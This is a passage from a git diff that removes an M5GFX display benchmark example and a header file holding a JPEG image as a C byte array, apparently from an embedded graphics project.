display.setTextSize(2); - printnice(usecRoundRects); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Rounded rects-fill "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usedFilledRoundRects); - - display.setTextSize(1); - display.println(""); - display.setTextColor(TFT_GREEN); display.setTextSize(2); - display.print("Benchmark Complete!"); - } -} diff --git a/components/M5GFX/examples/Demo/AtomDisplay_Factory/jpg_image.h b/components/M5GFX/examples/Demo/AtomDisplay_Factory/jpg_image.h deleted file mode 100644 index b996db86..00000000 --- a/components/M5GFX/examples/Demo/AtomDisplay_Factory/jpg_image.h +++ /dev/null @@ -1,4056 +0,0 @@ -static constexpr const unsigned char jpg_image[64864] = { -0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x48, -0x00, 0x48, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x43, 0x00, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x02, -0x01, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x04, 0x03, 0x02, 0x02, 0x02, 0x02, 0x05, 0x04, -0x04, 0x03, 0x04, 0x06, 0x05, 0x06, 0x06, 0x06, 0x05, 0x06, 0x06, 0x06, 0x07, 0x09, 0x08, 0x06, -0x07, 0x09, 0x07, 0x06, 0x06, 0x08, 0x0b, 0x08, 0x09, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x06, 0x08, -0x0b, 0x0c, 0x0b, 0x0a, 0x0c, 0x09, 0x0a, 0x0a, 0x0a, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x02, 0x02, -0x02, 0x02, 0x02, 0x02, 0x05, 0x03, 0x03, 0x05, 0x0a, 0x07, 0x06, 0x07, 0x0a, 0x0a, 0x0a, 0x0a, -0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, -0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, -0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0xff, 0xc0, -0x00, 0x11, 0x08, 0x01, 0x68, 0x02, 0x80, 0x03, 0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, -0x01, 0xff, 0xc4, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x07, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, -0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x06, 0x07, 0x05, 0x08, 0x09, -0x0a, 0xff, 0xc4, 0x00, 0x6f, 0x10, 0x00, 0x01, 0x02, 0x04, 0x04, 0x03, 0x02, 0x0a, 0x01, 0x0b, -0x0c, 0x0a, 0x0d, 0x0b, 0x03, 0x05, 0x01, 0x02, 0x03, 0x00, 0x04, 0x05, 0x11, 0x06, 0x07, 0x12, -0x21, 0x08, 0x31, 0x41, 0x13, 0x51, 0x09, 0x14, 0x22, 0x32, 0x61, 0x71, 0x81, 0x91, 0xa1, 0xb1, -0x15, 0x0a, 0x16, 0x23, 0x24, 0x33, 0x42, 0x52, 0x62, 0xb2, 0xc1, 0xd1, 0x34, 0x43, 0x44, 0x53, -0x72, 0x73, 0x82, 0x92, 0xa2, 0xb4, 0xb5, 0xe1, 0x17, 0x25, 0x26, 0x45, 0x46, 0x55, 0x63, 0x64, -0xb3, 0xf0, 0x18, 0x27, 0x35, 0x54, 0x56, 0x74, 0x75, 0x83, 0x94, 0x95, 0xa3, 0xc3, 0xf1, 0x19, -0x28, 0x36, 0x47, 0x66, 0x76, 0x84, 0x93, 0xa4, 0xa5, 0xc2, 0x65, 0x85, 0xd2, 0x38, 0x57, 0xc4, -0xd3, 0xd4, 0xff, 0xc4, 0x00, 0x1c, 0x01, 0x01, 0x00, 0x03, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, -0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, -0xff, 0xc4, 0x00, 0x4b, 0x11, 0x00, 0x02, 0x01, 0x02, 0x05, 0x02, 0x02, 0x07, 0x05, 0x05, 0x04, -0x08, 0x04, 0x06, 0x03, 0x00, 0x00, 0x01, 0x02, 0x03, 0x11, 0x04, 0x05, 0x12, 0x21, 0x31, 0x13, -0x41, 0x06, 0x51, 0x22, 0x32, 0x61, 0x71, 0x81, 0x91, 0xb1, 0x14, 0x72, 0xa1, 0xc1, 0xd1, 0x33, -0x42, 0x52, 0x92, 0xf0, 0x07, 0x15, 0x23, 0xd2, 0x36, 0x43, 0x53, 0x62, 0x73, 0xa2, 0xb2, 0xe1, -0x24, 0x64, 0x74, 0xc2, 0x16, 0x17, 0x25, 0x26, 0x27, 0x82, 0x35, 0x37, 0x63, 0xff, 0xda, 0x00, -0x0c, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3f, 0x00, 0xfb, 0x76, 0xa4, 0x21, 0x17, -0x16, 0x17, 0x26, 0xd6, 0x27, 0x99, 0xbf, 0xa2, 0x3b, 0x0e, 0x31, 0x20, 0xdd, 0x5a, 0x77, 0x37, -0x36, 0xf3, 0xf6, 0x3e, 0xc8, 0x00, 0xd4, 0x86, 0xd6, 0x85, 0x21, 0x1d, 0x12, 0x46, 0xe9, 0xb0, -0x3b, 0x7e, 0x88, 0x10, 0xca, 0x62, 0x70, 0xda, 0x01, 0x2a, 0x2d, 0x8f, 0x49, 0x30, 0xbb, 0xb9, -0x24, 0x57, 0x3c, 0x4d, 0x33, 0x3e, 0x25, 0x4e, 0x65, 0x53, 0x93, 0x1f, 0xb5, 0x4b, 0x27, 0x56, -0x9f, 0x59, 0xe4, 0x3d, 0xf0, 0xbb, 0x60, 0x50, 0xc0, 0xd8, 0xb2, 0xb1, 0x6f, 0xa4, 0xa7, 0x04, -0x8b, 0x04, 0xf9, 0x52, 0xf2, 0x46, 0xeb, 0x3e, 0x82, 0xb3, 0xcb, 0xd8, 0x3d, 0xb0, 0x07, 0x52, -0x95, 0x96, 0xf4, 0x8a, 0x38, 0x26, 0x42, 0x9c, 0x10, 0xb5, 0x6e, 0xb7, 0x48, 0xba, 0xd7, 0xeb, -0x27, 0x73, 0x11, 0xb8, 0x27, 0xa7, 0x0b, 0xb8, 0x08, 0xfb, 0x0e, 0xd6, 0xe7, 0x00, 0x38, 0x30, -0xba, 0x94, 0x42, 0x92, 0xd9, 0xe7, 0x78, 0x01, 0xd4, 0xd0, 0xde, 0x6f, 0x98, 0x3e, 0xa1, 0x0b, -0x00, 0xcd, 0x19, 0xde, 0x65, 0xa4, 0x1d, 0xb9, 0x14, 0x08, 0x9b, 0x00, 0xc5, 0x0e, 0xdc, 0xe5, -0x52, 0x3f, 0x72, 0x6d, 0x11, 0xc8, 0x07, 0xd1, 0x0d, 0x1e, 0x6d, 0xac, 0x7a, 0x80, 0x22, 0x24, -0x06, 0x29, 0x03, 0x90, 0x71, 0x43, 0xf7, 0x49, 0x3f, 0x9a, 0x1b, 0x80, 0x0a, 0x33, 0xb7, 0x05, -0x0a, 0x07, 0xd1, 0x7f, 0xd3, 0x00, 0x2c, 0x52, 0xe6, 0x51, 0xb2, 0x99, 0x3e, 0xcd, 0xe0, 0x03, -0xf1, 0x45, 0x27, 0xc9, 0x28, 0x23, 0x6d, 0xae, 0x20, 0x05, 0x25, 0xb5, 0x24, 0x69, 0x09, 0x80, -0x14, 0x02, 0xd0, 0x7c, 0xd2, 0x3d, 0x16, 0x80, 0x22, 0xd7, 0xeb, 0xf2, 0x98, 0x72, 0x83, 0x3b, -0x88, 0x2a, 0xef, 0x16, 0xe5, 0x24, 0x25, 0x1c, 0x98, 0x99, 0x72, 0xd7, 0xd2, 0xda, 0x12, 0x54, -0xa3, 0xee, 0x06, 0x1c, 0x83, 0x9f, 0x93, 0x92, 0x55, 0x3a, 0x26, 0x56, 0xe1, 0xea, 0x55, 0x64, -0x84, 0x4e, 0x31, 0x47, 0x96, 0x44, 0xd2, 0x07, 0xde, 0xbb, 0xd9, 0x27, 0x50, 0xf6, 0x1b, 0xc0, -0x16, 0x84, 0xcc, 0xb8, 0x9e, 0xb0, 0x03, 0xcd, 0xd4, 0x94, 0x00, 0x0a, 0x1d, 0x20, 0x2e, 0x3c, -0xd5, 0x51, 0x76, 0xbd, 0xf6, 0xf4, 0x44, 0x59, 0x12, 0x98, 0xfb, 0x75, 0x75, 0x27, 0x9a, 0x8f, -0xb6, 0x23, 0x4a, 0x25, 0x48, 0x79, 0x35, 0xc4, 0x85, 0x01, 0xac, 0x13, 0xe8, 0x17, 0x88, 0xd0, -0x8b, 0x6b, 0x63, 0xcd, 0x56, 0xd6, 0xb1, 0x60, 0x8d, 0x23, 0xbc, 0x98, 0x8e, 0x9a, 0x27, 0xa8, -0xfb, 0x12, 0x1b, 0xaa, 0x26, 0xd7, 0x53, 0x84, 0xc5, 0x5d, 0x32, 0x75, 0x8f, 0xa2, 0xa6, 0xd1, -0xea, 0x22, 0x9a, 0x19, 0x7d, 0x71, 0xb0, 0xe2, 0x67, 0x99, 0x51, 0xb0, 0xf9, 0xc4, 0x69, 0x64, -0xa9, 0x21, 0x62, 0x65, 0xa3, 0xc9, 0x51, 0x1a, 0x59, 0x3a, 0x90, 0xa0, 0xe2, 0x0f, 0x25, 0x88, -0x59, 0x93, 0x74, 0x0d, 0x49, 0x3c, 0x94, 0x3d, 0xf1, 0x00, 0x38, 0x00, 0x40, 0x02, 0x00, 0x10, -0x00, 0x80, 0x04, 0x00, 0x20, 0x01, 0x00, 0x08, 0x03, 0x83, 0x8f, 0xb1, 0x54, 0xc6, 0x0f, 0xa6, -0x4a, 0xd4, 0x59, 0x94, 0x4b, 0xc2, 0x62, 0xb1, 0x25, 0x26, 0xb0, 0xa5, 0x11, 0xa4, 0x3e, 0xfa, -0x19, 0x2a, 0x1e, 0x91, 0xae, 0xf1, 0x29, 0x5c, 0xac, 0x9b, 0x47, 0x5c, 0xcc, 0xa5, 0xad, 0xd6, -0xa3, 0x6e, 0xb7, 0x4c, 0x4a, 0x57, 0x0e, 0x56, 0x19, 0x72, 0xae, 0xca, 0x07, 0x92, 0xe2, 0x09, -0xbd, 0xac, 0x4d, 0xbe, 0x71, 0x6d, 0x05, 0x5c, 0xc6, 0x1e, 0xc4, 0x41, 0x93, 0xbb, 0x24, 0xfa, -0x41, 0xbc, 0x59, 0x52, 0x23, 0xa8, 0x47, 0x77, 0x15, 0x34, 0x41, 0x21, 0xb5, 0x5b, 0xa9, 0x3b, -0x44, 0xaa, 0x68, 0xab, 0xaa, 0x42, 0x98, 0xc5, 0xb2, 0x29, 0xd9, 0xe9, 0xa4, 0xa7, 0xd0, 0x9f, -0x28, 0xfc, 0x22, 0xda, 0x52, 0x2b, 0xad, 0xbe, 0x48, 0x93, 0x18, 0xb6, 0x9f, 0x63, 0xd9, 0xa3, -0x51, 0xe8, 0x5c, 0x5f, 0xe6, 0x11, 0x36, 0x64, 0x5c, 0x85, 0x37, 0x8b, 0x56, 0xa4, 0xf9, 0x0e, -0xa5, 0x09, 0xb7, 0x9a, 0x8d, 0xbe, 0x51, 0x36, 0x22, 0xec, 0xe6, 0x3f, 0x5f, 0x69, 0x5b, 0x76, -0x9b, 0xde, 0x24, 0x82, 0x23, 0xb5, 0xa6, 0x09, 0x36, 0x23, 0xd5, 0x11, 0xc8, 0x21, 0xcc, 0x55, -0x92, 0x41, 0x01, 0x40, 0x03, 0xd6, 0x24, 0x10, 0x9e, 0xa8, 0x23, 0x4f, 0xdd, 0x3a, 0xf7, 0xc4, -0x01, 0x87, 0x27, 0x10, 0x6e, 0x42, 0xf9, 0xfa, 0x62, 0x40, 0xda, 0x2b, 0x13, 0x52, 0xcb, 0xed, -0xa5, 0xa6, 0xd6, 0xd1, 0x03, 0x9b, 0x6b, 0x29, 0x3f, 0x03, 0x12, 0xa3, 0xe6, 0x38, 0x64, 0xd9, -0x4c, 0xd0, 0xc5, 0xf4, 0xfd, 0xa5, 0xf1, 0x03, 0xea, 0x00, 0xf9, 0xaf, 0x79, 0x7f, 0x3b, 0xda, -0x28, 0xe1, 0x07, 0xd8, 0xb6, 0xb9, 0x23, 0xa9, 0x25, 0x9f, 0xb8, 0xae, 0x5f, 0xc9, 0x9a, 0x93, -0x92, 0x98, 0x4d, 0xee, 0x49, 0x6d, 0x49, 0x51, 0xf6, 0x83, 0x6f, 0x84, 0x55, 0xd2, 0x8f, 0x62, -0xea, 0xa4, 0x91, 0xd9, 0xa7, 0xf1, 0x13, 0x4e, 0x36, 0x4d, 0x57, 0x0f, 0x3c, 0x83, 0xf7, 0xca, -0x61, 0xe4, 0xab, 0xe0, 0xab, 0x7c, 0xe2, 0xbd, 0x17, 0xd9, 0x92, 0xaa, 0xae, 0xe3, 0x13, 0xbc, -0x5f, 0xe4, 0x55, 0x22, 0xb6, 0x70, 0xf6, 0x23, 0xc4, 0x73, 0x14, 0xd9, 0x80, 0x84, 0xa8, 0x78, -0xcc, 0x83, 0xa5, 0x04, 0x2b, 0x97, 0x94, 0xd8, 0x50, 0x1e, 0xdb, 0x45, 0x5d, 0x29, 0x16, 0xea, -0x45, 0xa3, 0xb5, 0x4a, 0xcc, 0x4c, 0x83, 0xc7, 0x64, 0x0a, 0x4e, 0x2e, 0xc3, 0x73, 0xce, 0x28, -0xf9, 0x28, 0x4c, 0xdb, 0x5d, 0xa5, 0xfd, 0x00, 0x90, 0xab, 0xc4, 0x5a, 0x68, 0x9f, 0x41, 0x9d, -0x87, 0xf0, 0x3d, 0x0a, 0x75, 0xbf, 0xb5, 0xa6, 0xe6, 0xdb, 0x49, 0xf3, 0x43, 0x73, 0x45, 0x69, -0xf7, 0x2f, 0x52, 0x7e, 0x10, 0xd7, 0x24, 0x34, 0x45, 0xf0, 0x57, 0xb1, 0x2e, 0x42, 0xe1, 0xdc, -0x45, 0x2e, 0xa9, 0x6a, 0x84, 0xad, 0x36, 0x75, 0x07, 0xa5, 0x42, 0x96, 0x82, 0x7d, 0xed, 0x94, -0x45, 0x95, 0x5d, 0xb8, 0x2b, 0xd3, 0x46, 0x69, 0x8d, 0xfc, 0x1d, 0x1c, 0x3f, 0xe3, 0x46, 0x52, -0xdd, 0x5b, 0x2d, 0xe4, 0x41, 0x0b, 0xd4, 0x55, 0x22, 0xb0, 0x9b, 0xfb, 0x16, 0x3f, 0x3c, 0x59, -0x55, 0x44, 0x74, 0xd9, 0x8f, 0x63, 0xaf, 0x02, 0xf6, 0x41, 0x57, 0x65, 0x5f, 0x4d, 0x31, 0xa9, -0xfa, 0x63, 0x8f, 0xb6, 0x50, 0xe2, 0x9a, 0x60, 0x10, 0xa4, 0xfe, 0x0d, 0xda, 0xd5, 0x16, 0xea, -0x22, 0x8e, 0x0c, 0xf3, 0x4e, 0x6a, 0x7d, 0x4e, 0xfd, 0x16, 0xb4, 0xfb, 0xc3, 0x0b, 0x62, 0x76, -0xdd, 0x0a, 0x4a, 0x82, 0x1b, 0x71, 0xe4, 0x83, 0x7e, 0x82, 0xca, 0xf2, 0xa2, 0xea, 0x69, 0x22, -0x8e, 0x08, 0xf2, 0xe7, 0x83, 0xe7, 0x2c, 0xb1, 0x47, 0x0d, 0xb5, 0x4c, 0xe4, 0xe1, 0xeb, 0x15, -0xcb, 0x3c, 0xcc, 0xce, 0x1a, 0xcc, 0xd7, 0xdb, 0x42, 0x1c, 0x40, 0x49, 0x28, 0x5c, 0xb4, 0xba, -0x92, 0xab, 0x74, 0xb8, 0x48, 0xf6, 0x8f, 0x44, 0x39, 0x6c, 0xb3, 0x56, 0x48, 0xf4, 0x71, 0xaa, -0xba, 0xa3, 0x72, 0xb3, 0x72, 0x3a, 0xc0, 0xa8, 0x69, 0xa9, 0x38, 0x46, 0xe4, 0xde, 0xfd, 0xf1, -0x2a, 0xc0, 0x5a, 0x6a, 0x0a, 0x1c, 0xd4, 0x62, 0x00, 0x7e, 0x3e, 0x7a, 0xc0, 0x04, 0x27, 0x6d, -0x00, 0x24, 0xce, 0x75, 0xbf, 0xc2, 0x00, 0x42, 0xa6, 0xc1, 0xde, 0xff, 0x00, 0x18, 0x01, 0x06, -0x71, 0x27, 0xaf, 0xbe, 0x00, 0x6d, 0x73, 0x40, 0x1b, 0x88, 0x01, 0x0a, 0x9b, 0x00, 0xf9, 0xd0, -0x03, 0x2b, 0x9e, 0xd2, 0x39, 0xc0, 0x08, 0x33, 0xc5, 0x5d, 0x60, 0x06, 0xd5, 0x39, 0x63, 0xb9, -0x30, 0x07, 0xd6, 0xcb, 0x92, 0x17, 0xaa, 0xe0, 0xdc, 0x5c, 0x93, 0x70, 0x4f, 0xa2, 0x00, 0x58, -0x36, 0xd2, 0xa0, 0x09, 0x07, 0x6b, 0x1d, 0xcf, 0x28, 0x01, 0x00, 0xa8, 0xea, 0x08, 0x69, 0x1b, -0xea, 0x36, 0xbf, 0x23, 0x6e, 0x50, 0x21, 0x9c, 0x1a, 0x76, 0x16, 0x76, 0xa8, 0xbd, 0x58, 0x9e, -0xa4, 0xb7, 0x41, 0xdc, 0x4b, 0x30, 0x0b, 0x4d, 0x0f, 0x41, 0xb6, 0xea, 0xf6, 0x9f, 0x64, 0x09, -0x65, 0xba, 0x93, 0x41, 0xa5, 0xca, 0x30, 0x89, 0x69, 0x09, 0x76, 0x9a, 0x6c, 0x0d, 0x90, 0xd2, -0x00, 0x1e, 0xe1, 0x10, 0x4a, 0x57, 0x3a, 0xf2, 0xf4, 0x49, 0x62, 0x01, 0x20, 0x7b, 0xa2, 0x8e, -0x65, 0xe3, 0x0b, 0xa2, 0x53, 0x54, 0x19, 0x4e, 0x4a, 0x42, 0x4f, 0xaa, 0x28, 0xea, 0xbe, 0xc5, -0xd5, 0x34, 0xc5, 0x8a, 0x0c, 0x8f, 0x54, 0x44, 0x75, 0x64, 0x4f, 0x4d, 0x06, 0x68, 0x52, 0x3d, -0x11, 0x0e, 0xac, 0x87, 0x4d, 0x04, 0x68, 0x32, 0x47, 0x9b, 0x62, 0x1d, 0x59, 0x0e, 0x9a, 0x08, -0xe1, 0xf9, 0x23, 0xc9, 0x36, 0x82, 0xa8, 0xc7, 0x4d, 0x08, 0x56, 0x1d, 0x96, 0x29, 0xb0, 0xb1, -0x37, 0xdf, 0x68, 0x9e, 0xab, 0x23, 0xa4, 0x84, 0x1c, 0x34, 0xcf, 0x4b, 0x44, 0xf5, 0x48, 0xe9, -0x08, 0x56, 0x1a, 0x4f, 0x41, 0x13, 0xd5, 0x44, 0x74, 0x98, 0xd1, 0xc3, 0x20, 0x8d, 0x44, 0x0b, -0x5e, 0x27, 0xa8, 0x88, 0xe9, 0xb1, 0xa5, 0xe1, 0xce, 0xa1, 0x36, 0xf5, 0x44, 0xeb, 0x89, 0x0e, -0x0d, 0x08, 0x34, 0x37, 0x92, 0x34, 0xa5, 0x6a, 0x06, 0xdc, 0xce, 0xf1, 0x3a, 0x93, 0x23, 0x4b, -0x3c, 0x07, 0xc6, 0xc7, 0x84, 0xdb, 0x3f, 0x38, 0x79, 0xe3, 0xfd, 0x7c, 0x2a, 0xe5, 0xae, 0x04, -0xc2, 0xb5, 0x5a, 0x3c, 0xa6, 0x5e, 0x53, 0xeb, 0xb3, 0x4b, 0xab, 0xa5, 0xe4, 0xcd, 0x2a, 0x66, -0x62, 0x6a, 0x6d, 0xb2, 0x84, 0xa9, 0x0b, 0x03, 0x47, 0x66, 0xcb, 0x67, 0xcd, 0xb8, 0x25, 0x51, -0x2b, 0x70, 0xd6, 0xc4, 0xdc, 0x29, 0xe1, 0x73, 0xc5, 0xa7, 0x4b, 0x38, 0xff, 0x00, 0x85, 0x94, -0x20, 0x0b, 0x6b, 0x98, 0xa2, 0x62, 0x8d, 0x7b, 0xfe, 0xf6, 0xeb, 0x09, 0xb7, 0xf1, 0xcc, 0x4b, -0x45, 0x4b, 0x3e, 0x2f, 0xf0, 0x97, 0x64, 0x16, 0x3f, 0xcb, 0x3c, 0x41, 0x84, 0xaa, 0x78, 0x2f, -0x17, 0xd1, 0xe6, 0xea, 0x74, 0x19, 0xb9, 0x56, 0x43, 0xf4, 0xf6, 0xdd, 0x47, 0x68, 0xe3, 0x2b, -0x42, 0x46, 0xa6, 0x9c, 0x24, 0x6e, 0x79, 0xda, 0xc2, 0x20, 0x9d, 0x8d, 0x5f, 0x01, 0x71, 0xb1, -0xc2, 0x86, 0x2d, 0x92, 0x96, 0x66, 0x4b, 0x38, 0x24, 0x24, 0xe6, 0x14, 0xd2, 0x35, 0xcb, 0xd4, -0xd9, 0x76, 0x58, 0xa1, 0x56, 0x17, 0x04, 0xb8, 0x90, 0x36, 0xf5, 0xc0, 0x83, 0x4d, 0xa1, 0xe2, -0xbc, 0x1b, 0x8a, 0x19, 0x13, 0x38, 0x67, 0x1a, 0x52, 0x6a, 0x28, 0x3b, 0x85, 0x49, 0x54, 0x5b, -0x73, 0xf2, 0x4c, 0x05, 0x8e, 0x8b, 0x92, 0xee, 0x20, 0xee, 0x3a, 0x5f, 0x6d, 0xfe, 0x50, 0xdc, -0x08, 0x2d, 0xbb, 0x6b, 0x04, 0x1f, 0x59, 0x10, 0x01, 0x76, 0x6b, 0xea, 0xa2, 0x7d, 0x00, 0x44, -0x81, 0x69, 0x59, 0x6f, 0x60, 0x08, 0x3d, 0x76, 0x80, 0x14, 0x26, 0x14, 0x39, 0xdf, 0xd9, 0x11, -0xb8, 0x14, 0x27, 0x56, 0x91, 0x60, 0xa5, 0x44, 0x81, 0x69, 0xa8, 0xac, 0x11, 0x75, 0x7c, 0x20, -0x4d, 0xd8, 0xea, 0x2a, 0xca, 0x07, 0x75, 0x1f, 0x7c, 0x45, 0x90, 0xbe, 0xc3, 0x8d, 0xd6, 0x4d, -0xcd, 0xd4, 0x61, 0xa5, 0x04, 0xda, 0x1e, 0x4d, 0x6e, 0xc6, 0xda, 0xcc, 0x46, 0x94, 0x4e, 0xa6, -0x38, 0x8a, 0xe9, 0xbd, 0xfb, 0x41, 0x10, 0xe0, 0x8b, 0x75, 0x18, 0xea, 0x71, 0x07, 0x7b, 0x80, -0x7b, 0x62, 0x3a, 0x68, 0x9d, 0x6c, 0x71, 0x38, 0x81, 0xbb, 0xd8, 0xae, 0xe7, 0xa4, 0x47, 0x48, -0xb7, 0x54, 0x75, 0x15, 0xe6, 0x8a, 0x6e, 0x4f, 0xc2, 0x2b, 0xd2, 0x0a, 0xa2, 0xee, 0x29, 0x35, -0xc6, 0x3a, 0x82, 0x7d, 0x90, 0xe9, 0x32, 0x7a, 0x88, 0x71, 0x35, 0x79, 0x75, 0x0b, 0xde, 0x23, -0xa6, 0xc7, 0x52, 0x21, 0x8a, 0xac, 0xb7, 0x55, 0xc4, 0x74, 0xe4, 0x3a, 0x91, 0x0f, 0xe9, 0x59, -0x4f, 0xc3, 0x87, 0x4e, 0x43, 0xa9, 0x10, 0x7d, 0x2b, 0x29, 0xf8, 0x70, 0xe9, 0xc8, 0x9e, 0xa4, -0x44, 0x9a, 0xbc, 0xb2, 0x79, 0xb8, 0x21, 0xd3, 0x90, 0xea, 0x44, 0xe1, 0xe3, 0x5a, 0xc4, 0xa3, -0xec, 0x48, 0x49, 0x14, 0x85, 0x29, 0xea, 0xbc, 0xb6, 0x84, 0x91, 0x7b, 0x94, 0x2f, 0xb5, 0x3e, -0xdb, 0x36, 0x62, 0xca, 0x9b, 0x45, 0x1c, 0xd3, 0xd8, 0xe9, 0x3f, 0x50, 0xba, 0x6e, 0xea, 0x03, -0x60, 0xfd, 0xf2, 0x97, 0x6f, 0x85, 0xa2, 0xca, 0x36, 0x64, 0x39, 0x5c, 0xe5, 0x4f, 0x54, 0x69, -0xc3, 0x65, 0x3e, 0xa5, 0xfe, 0xe4, 0x5b, 0xe3, 0x17, 0x57, 0x33, 0x76, 0x39, 0x53, 0x75, 0x06, -0x7c, 0xaf, 0x14, 0x43, 0x69, 0x1d, 0xf7, 0xb9, 0x3e, 0xd3, 0x16, 0x20, 0xe3, 0xcf, 0x54, 0x66, -0x89, 0xba, 0xa6, 0x16, 0x40, 0x1c, 0xb5, 0x5f, 0xe1, 0x10, 0x0e, 0x3c, 0xe5, 0x45, 0xd7, 0x3a, -0x03, 0xbf, 0xdf, 0x0e, 0x71, 0x3c, 0x20, 0x40, 0x98, 0xa9, 0xb8, 0x0a, 0x8a, 0xb6, 0xb7, 0x71, -0x85, 0x81, 0x11, 0xca, 0xcb, 0xc9, 0xbd, 0x9d, 0x57, 0x2e, 0x44, 0x41, 0x6c, 0xf7, 0x04, 0x75, -0xd6, 0x26, 0x89, 0x05, 0x2e, 0x6c, 0x79, 0x5e, 0x25, 0xd8, 0x0d, 0x3f, 0x58, 0x99, 0x17, 0x1d, -0x7a, 0x81, 0x10, 0x06, 0xcd, 0x5d, 0xd3, 0x62, 0xb5, 0x1b, 0xda, 0x25, 0x58, 0x08, 0x55, 0x50, -0x94, 0xf9, 0xdd, 0x61, 0x70, 0x34, 0xba, 0x9d, 0xef, 0xe5, 0x1b, 0x7a, 0x4c, 0x47, 0x70, 0x20, -0xd4, 0x07, 0x32, 0xa1, 0x0b, 0xb0, 0x25, 0x73, 0xf6, 0xe6, 0xa0, 0x20, 0x04, 0xa2, 0x61, 0x4f, -0xaa, 0xc8, 0x42, 0x94, 0x7b, 0x92, 0x37, 0x81, 0x24, 0xf9, 0x4a, 0x05, 0x5a, 0x70, 0x82, 0x99, -0x60, 0xda, 0x48, 0xbe, 0xa7, 0x15, 0x6f, 0x6c, 0x37, 0x06, 0x33, 0x9e, 0xd4, 0x77, 0xa4, 0x33, -0x0d, 0xd6, 0x9c, 0x70, 0x15, 0xf8, 0xab, 0x47, 0x5a, 0x47, 0xa2, 0x17, 0xb9, 0x2b, 0x73, 0x3c, -0xab, 0xe1, 0xc9, 0x59, 0xb6, 0x95, 0xad, 0xa0, 0x49, 0x4e, 0xfa, 0x92, 0x0c, 0x0b, 0x1e, 0x1b, -0xa5, 0xe7, 0xa7, 0x1b, 0x39, 0x7f, 0x59, 0xac, 0x62, 0x2c, 0x99, 0xce, 0xbc, 0x73, 0x2b, 0x23, -0x4e, 0xad, 0xcc, 0xcb, 0x96, 0xa9, 0xf8, 0x8a, 0x61, 0x6d, 0x23, 0x42, 0xc9, 0x03, 0xc5, 0xca, -0xc8, 0xd2, 0x13, 0x6f, 0xbd, 0xb0, 0x86, 0x9b, 0x95, 0xd5, 0x63, 0x4d, 0xc0, 0x1e, 0x1d, 0x6e, -0x3b, 0xb2, 0xe5, 0xf4, 0xc8, 0x62, 0x6c, 0x5f, 0x2d, 0x88, 0x18, 0x68, 0x04, 0xad, 0x55, 0x8a, -0x3b, 0x45, 0xcb, 0xdb, 0x7b, 0xe8, 0xd2, 0xa3, 0xfc, 0x6b, 0xc5, 0x1c, 0x23, 0x7e, 0x0b, 0x6b, -0x92, 0xe1, 0x9e, 0x80, 0xca, 0x7f, 0xaa, 0x24, 0xc4, 0xf5, 0x22, 0x86, 0x31, 0xc6, 0x59, 0xd0, -0x27, 0x9c, 0x24, 0x6a, 0x44, 0xa4, 0xd3, 0xb2, 0x4b, 0xf4, 0x8f, 0x2f, 0xb4, 0x17, 0xf6, 0x45, -0x5d, 0x28, 0xbe, 0x09, 0x55, 0x25, 0xdc, 0xf4, 0x56, 0x5f, 0x78, 0x6d, 0x38, 0x78, 0xc4, 0xcd, -0xb6, 0x31, 0x76, 0x05, 0xaf, 0xd1, 0x96, 0xb4, 0xf9, 0x4a, 0x96, 0x5b, 0x53, 0x6d, 0x83, 0xeb, -0x05, 0x0a, 0x23, 0xf8, 0x3e, 0xc8, 0xab, 0xa4, 0xfb, 0x32, 0xca, 0xaa, 0x36, 0x8c, 0x0d, 0xc7, -0xd7, 0x08, 0x79, 0x8a, 0x94, 0x26, 0x95, 0x9b, 0xb4, 0xf6, 0x9c, 0x3b, 0x86, 0xaa, 0x8c, 0x39, -0x2e, 0xa0, 0x7f, 0xe7, 0x12, 0x07, 0xc6, 0x2b, 0xd3, 0x99, 0x6d, 0x71, 0x6c, 0xf8, 0xbf, 0xc4, -0xce, 0x30, 0xa9, 0x66, 0x27, 0x87, 0x9b, 0x30, 0x71, 0xbf, 0x0d, 0xd4, 0x0a, 0x8c, 0x8e, 0x58, -0x2f, 0x0c, 0x4b, 0xca, 0xe3, 0x59, 0xf7, 0xa9, 0xce, 0xcb, 0xc8, 0x56, 0x2a, 0x88, 0x69, 0x67, -0xc6, 0x65, 0xb5, 0xa0, 0x25, 0xc5, 0x17, 0xd4, 0x01, 0x71, 0x17, 0x0a, 0x09, 0x71, 0x57, 0xf2, -0xb7, 0xd6, 0x0a, 0x4b, 0x93, 0x39, 0x69, 0x68, 0xd8, 0xf5, 0x27, 0xbe, 0x34, 0x32, 0x0d, 0x2b, -0x36, 0xf2, 0x60, 0x05, 0x25, 0x6a, 0x1e, 0x54, 0x00, 0xa0, 0xb5, 0xf3, 0x22, 0x00, 0x01, 0xc5, -0x91, 0x7b, 0x5a, 0x00, 0x05, 0x4b, 0x23, 0xce, 0x80, 0x12, 0xa5, 0x6d, 0xa4, 0xf3, 0x80, 0x10, -0x4a, 0xba, 0x08, 0x00, 0x95, 0xac, 0x0e, 0x70, 0x03, 0x4b, 0x49, 0x51, 0xb1, 0x27, 0x97, 0x31, -0x00, 